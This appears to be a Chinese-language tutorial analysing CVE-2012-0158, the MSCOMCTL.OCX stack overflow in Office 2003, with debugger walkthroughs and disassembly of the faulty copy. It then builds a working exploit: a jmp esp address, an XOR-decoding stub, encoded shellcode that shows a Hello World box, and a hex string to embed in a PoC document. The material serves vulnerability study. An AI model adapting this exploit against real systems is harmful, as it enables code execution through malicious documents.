0x00 漏洞描述
- CVE-2012-0158 Microsoft Office MSCOMCTL.ocx栈溢出漏洞是Office的经典漏洞,作为Office的入门漏洞,这个漏洞很有学习价值
- 漏洞成因是由于Microsoft Windows的MSCOMCTL.OCX插件中的
MSCOMCTL.TreeView
、MSCOMCTL.LstView2
、MSCOMCTL.TreeView2
、MSCOMCTL.ListView
控件中存在内存拷贝时检查条件错误而造成的栈的缓冲区溢出,导致可被用于执行任意代码。
0x01 分析环境
名称 |
使用的环境 |
操作系统 |
Winodw 7专业版(32位) |
虚拟机 |
VMware |
调试器 |
OllyDbg/WinDbg |
反汇编器 |
IDA Pro |
漏洞软件 |
Office 2003 SP3 |
Office格式分析工具 |
OfficeMalScanner |
0x02 漏洞分析
复现漏洞
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581918766506.png)
分析漏洞
- 使用OD进行附加分析,需要先把OD中StringOD和异常选项中忽略的异常全部恢复
分析思路:
打开Word,使用OD附加进程,word进程名称为WINWORD.EXE,然后加载PoC文件,产生异常,此时EIP为0x41414141,符合前面的异常偏移
定位到漏洞触发模块,具体做法是通过堆栈查看当前ESP所在位置,回溯栈上的数据,可以发现最近的返回地址位于一个叫做MSCOMCTL模块中的一个地址0x275C8A0A,在反汇编窗口中查看此地址,具体如图所示:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581924525665.png)
- 继续向上查看,在找到函数sub_275C89C7入口,在地址0x275C89C7下断,重新运行word并加载PoC,函数成功断下:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581925338805.png)
同时可以查看模块找到MSCOMCTL.OCX模块地址为C:\Windows\System32\MSCOMCTL.OCX,有了模块路径后就可以使用IDA配合OD进行分析,因为这个模块是动态加载的,两者结合分析更棒哦
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581925961115.png)
之后对EBP+4也就是函数返回地址下内存写入断点,F9运行,找到对栈进行溢出填充的地方
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581926815050.png)
发现成功断在函数sub_275C876D内部,断点位置为0x275C87CB
- OD函数调用传参和使用IDA中对函数sub_275C876D进行分析:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581928777596.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| .text:275C876D var_4 = dword ptr -4 .text:275C876D arg_0 = dword ptr 8 .text:275C876D lpMem = dword ptr 0Ch .text:275C876D dwBytes = dword ptr 10h
.text:275C876D push ebp .text:275C876E mov ebp, esp .text:275C8770 push ecx .text:275C8771 push ebx .text:275C8772 mov ebx, [ebp+lpMem] .text:275C8775 push esi .text:275C8776 xor esi, esi .text:275C8778 mov eax, [ebx] .text:275C877A push edi .text:275C877B push esi .text:275C877C lea ecx, [ebp+var_4] .text:275C877F push 4 .text:275C8781 push ecx .text:275C8782 push ebx .text:275C8783 call dword ptr [eax+0Ch] .text:275C8786 cmp eax, esi .text:275C8788 jl short loc_275C8802 .text:275C878A mov edi, [ebp+dwBytes] .text:275C878D cmp [ebp+var_4], edi .text:275C8790 jnz loc_275D3F93 .text:275C8796 push edi ; dwBytes .text:275C8797 push esi ; dwFlags .text:275C8798 push hHeap ; hHeap .text:275C879E call ds:HeapAlloc .text:275C87A4 cmp eax, esi .text:275C87A6 mov [ebp+lpMem], eax .text:275C87A9 jz loc_275D3F9D .text:275C87AF mov ecx, [ebx] .text:275C87B1 push esi .text:275C87B2 push edi .text:275C87B3 push eax .text:275C87B4 push ebx .text:275C87B5 call dword ptr [ecx+0Ch] .text:275C87B8 mov esi, eax .text:275C87BA test esi, esi .text:275C87BC jl short loc_275C87EF .text:275C87BE mov esi, [ebp+lpMem] .text:275C87C1 mov ecx, edi .text:275C87C3 mov edi, [ebp+arg_0];栈地址,只有0x8字节剩余 .text:275C87C6 mov eax, ecx .text:275C87C8 shr ecx, 2 .text:275C87CB rep movsd ; 此处就是断点位置 .text:275C87CB ; 分析发现就是此处循环复制数据到栈上使得栈溢出 .text:275C87CD mov ecx, eax .text:275C87CF mov eax, [ebp+dwBytes] .text:275C87D2 and ecx, 3 .text:275C87D5 push 0 .text:275C87D7 lea edx, [eax+3] .text:275C87DA and edx, 0FFFFFFFCh .text:275C87DD sub edx, eax .text:275C87DF rep movsb .text:275C87E1 mov ecx, [ebx] .text:275C87E3 push edx .text:275C87E4 push offset unk_27632368 .text:275C87E9 push ebx .text:275C87EA call dword ptr [ecx+0Ch] .text:275C87ED mov esi, eax .text:275C87EF .text:275C87EF loc_275C87EF: ; CODE XREF: sub_275C876D+4Fj .text:275C87EF push [ebp+lpMem] ; lpMem .text:275C87F2 push 0 ; dwFlags .text:275C87F4 push hHeap ; hHeap .text:275C87FA call ds:HeapFree .text:275C8800 mov eax, esi .text:275C8802 .text:275C8802 loc_275C8802: ; CODE XREF: sub_275C876D+1Bj .text:275C8802 ; sub_275C876D+B82Bj ... .text:275C8802 pop edi .text:275C8803 pop esi .text:275C8804 pop ebx .text:275C8805 leave .text:275C8806 retn .text:275C8806 sub_275C876D endp
|
总结:
综上分析,可以发现在函数sub_275C89C7中一共开辟了0x14的局部栈空间,在函数sub_275C876D之前使用了0xC的栈空间,所以函数内部供使用的栈空间为0x8字节,而由于在函数sub_275C876D中复制的大小超过了0x8字节,所以导致了栈溢出漏洞。这里还有个有趣的是读取的长度也可以通过doc文件中构建,所以修改长度和内容就可以肆意的溢出了
0x03 漏洞利用
PoC分析
- 用010打开PoC,分析是doc文件中那一部分字段进行了溢出,可以搜索0x41414141找到溢出点,进行分析:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581931553703.png)
- 之后完成一个简单的利用,弹出窗口
- 首先在OD中找到MessageBoxA的地址0x7611EA71,然后修改溢出点代码,弹出窗口
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581933221356.png)
漏洞高级利用
- 使用windbg+mona+pykd.pyd的组合,利用GetPc技术,构造ShellCode弹出Hello World
- 打开windbg附加word后,使用命令
.load pykd.pyd
和!py mona
开启mona,之后使用!py mona find -s "\xff\xe4" -m msvbvm60.dll”
找到一个Rebase、SageSEH、ASLR.NXCompat为False,而OS DLL为True的系统模块,获取到的jmp esp地址0x729A0535
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581944622332.png)
- 之后构造一段加密的ShellCode,构造好的ShellCode分为两部分,最开始为解密代码,之后为HelloWord窗口弹出ShellCode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| __asm { "\x33\xC0" \ "\xE8\xFF\xFF\xFF\xFF" \ "\xC3" \ "\x58" \ "\x8D\x70\x1B" \ "\x33\xC9" \ "\x66\xB9\x95\x01" \ "\x8A\x04\x0E" \ "\x34\x13" \ "\x88\x04\x0E" \ "\xE2\xF6" \ "\x80\x34\x0E\x13" \ "\xFF\xE6" \ }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
char bShellcode[] = \ "\x73\x90\xFF\x43\xF8\x49\x56\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60" \ "\x60\x13\x5B\x76\x7F\x7F\x7C\x33\x44\x7C\x61\x7F\x77\x32\x13\x56" \ "\x6B\x7A\x67\x43\x61\x7C\x70\x76\x60\x60\x13\x5E\x76\x60\x60\x72" \ "\x74\x76\x51\x7C\x6B\x52\x13\x46\x60\x76\x61\x20\x21\x3D\x77\x7F" \ "\x7F\x13\x5F\x7C\x72\x77\x5F\x7A\x71\x61\x72\x61\x6A\x56\x6B\x52" \ "\x13\x54\x76\x67\x43\x61\x7C\x70\x52\x77\x77\x61\x76\x60\x60\x13" \ "\xFB\x13\x13\x13\x13\x48\x77\x98\x26\x23\x13\x13\x13\x98\x65\x1F" \ "\x98\x65\x0F\x98\x25\x98\x45\x1B\x41\x40\x40\x41\xFB\x7C\x13\x13" \ "\x13\x48\x49\x41\x43\x9E\x58\xCE\x42\x41\xEC\xC3\x4A\x49\x41\x40" \ "\x43\x42\xFB\x13\x13\x13\x13\x46\x98\xFF\x90\xFF\x1F\x98\x4E\x03" \ "\x9E\x58\xC1\x79\x13\x79\x13\x42\xEC\x46\x1F\x9E\x46\xEF\x9A\x11" \ "\x98\x4E\x03\x9E\x58\xD5\x42\xEC\x66\xEF\xEC\x46\x1B\x9E\x46\xEB" \ "\x9A\x11\x98\x4E\x03\x9E\x58\xB2\x42\xEC\x66\x07\x98\x56\x1B\xEC" \ "\xC3\x9E\x46\xE7\x9A\x11\x98\x4E\x03\x9E\x58\xBE\x79\x13\x42\x42" \ "\x79\x13\xEC\x46\xEB\x79\x13\xEC\x46\xE7\x98\xF6\x4E\xD1\x03\x13" \ "\x46\x98\xFF\x90\xFF\x1F\x98\x46\x1B\x98\x61\x2F\x10\xE1\x98\x65" \ "\x6B\x10\xE1\x98\x6D\x0F\x10\xE9\x9A\x6E\xEF\x98\x6D\x33\x10\xE9" \ "\x9A\x6E\xEB\x98\x6D\x37\x10\xE9\x9A\x6E\xE7\x20\xDA\x42\x98\x56" \ "\xEB\x98\x17\x9B\x10\x56\x1B\x43\x98\x4E\x1F\x90\xF8\x07\x40\xFB" \ "\x33\x13\x13\x13\x4A\x96\xD3\x66\x10\x52\xF8\xF2\x98\x56\xE7\x20" \ "\xEC\x75\x98\x2F\x5B\x98\x46\xEF\x98\x17\xA9\x10\x56\x1B\x98\xF6" \ "\x4E\xD1\x1B\x13\x46\x98\xFF\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \ "\x1B\xE1\xBD\xE4\xC2\x98\xCA\x20\xD3\xAA\xEC\xEC\xEC\xEC\x98\x6E" \ "\x1F\xE1\xBD\xE4\xC2\x28\xD8\x66\x01\x98\x66\x1F\x98\x6E\x1B\xEF" \ "\xE0\xB5\x66\x14\xAB\x12\x13\x13\x13\xF8\x11\x20\xD3\x98\xF6\x4E" \ "\xD1\x1B\x13\x13";
|
- 将上述ShellCode转换为如下文本形式,然后对PoC中的内容进行填充,填充完毕运行
1
| 33C0E8FFFFFFFFC3588D701B33C966B995018A040E341388040EE2F680340E13FFE67390FF43F849566B7A6743617C70766060135B767F7F7C33447C617F773213566B7A6743617C70766060135E766060727476517C6B52134660766120213D777F7F135F7C72775F7A716172616A566B521354766743617C705277776176606013FB13131313487798262313131398651F98650F982598451B41404041FB7C131313484941439E58CE4241ECC34A4941404342FB131313134698FF90FF1F984E039E58C17913791342EC461F9E46EF9A11984E039E58D542EC66EFEC461B9E46EB9A11984E039E58B242EC660798561BECC39E46E79A11984E039E58BE791342427913EC46EB7913EC46E798F64ED103134698FF90FF1F98461B98612F10E198656B10E1986D0F10E99A6EEF986D3310E99A6EEB986D3710E99A6EE720DA429856EB98179B10561B43984E1F90F80740FB331313134A96D3661052F8F29856E720EC75982F5B9846EF9817A910561B98F64ED11B134698FF20D3AAECECECEC986E1BE1BDE4C298CA20D3AAECECECEC986E1FE1BDE4C228D8660198661F986E1BEFE0B56614AB12131313F81120D398F64ED11B1313FF
|
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581946076252.png)
- 使用OD附加调试,对jmp esp地址0x729A0535下断,加载新的PoC运行:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581946955936.png)
![](https://cdn.jsdelivr.net/gh/hskull00/Images/win%E6%BC%8F%E6%B4%9E/cve-2012-01581581946610491.png)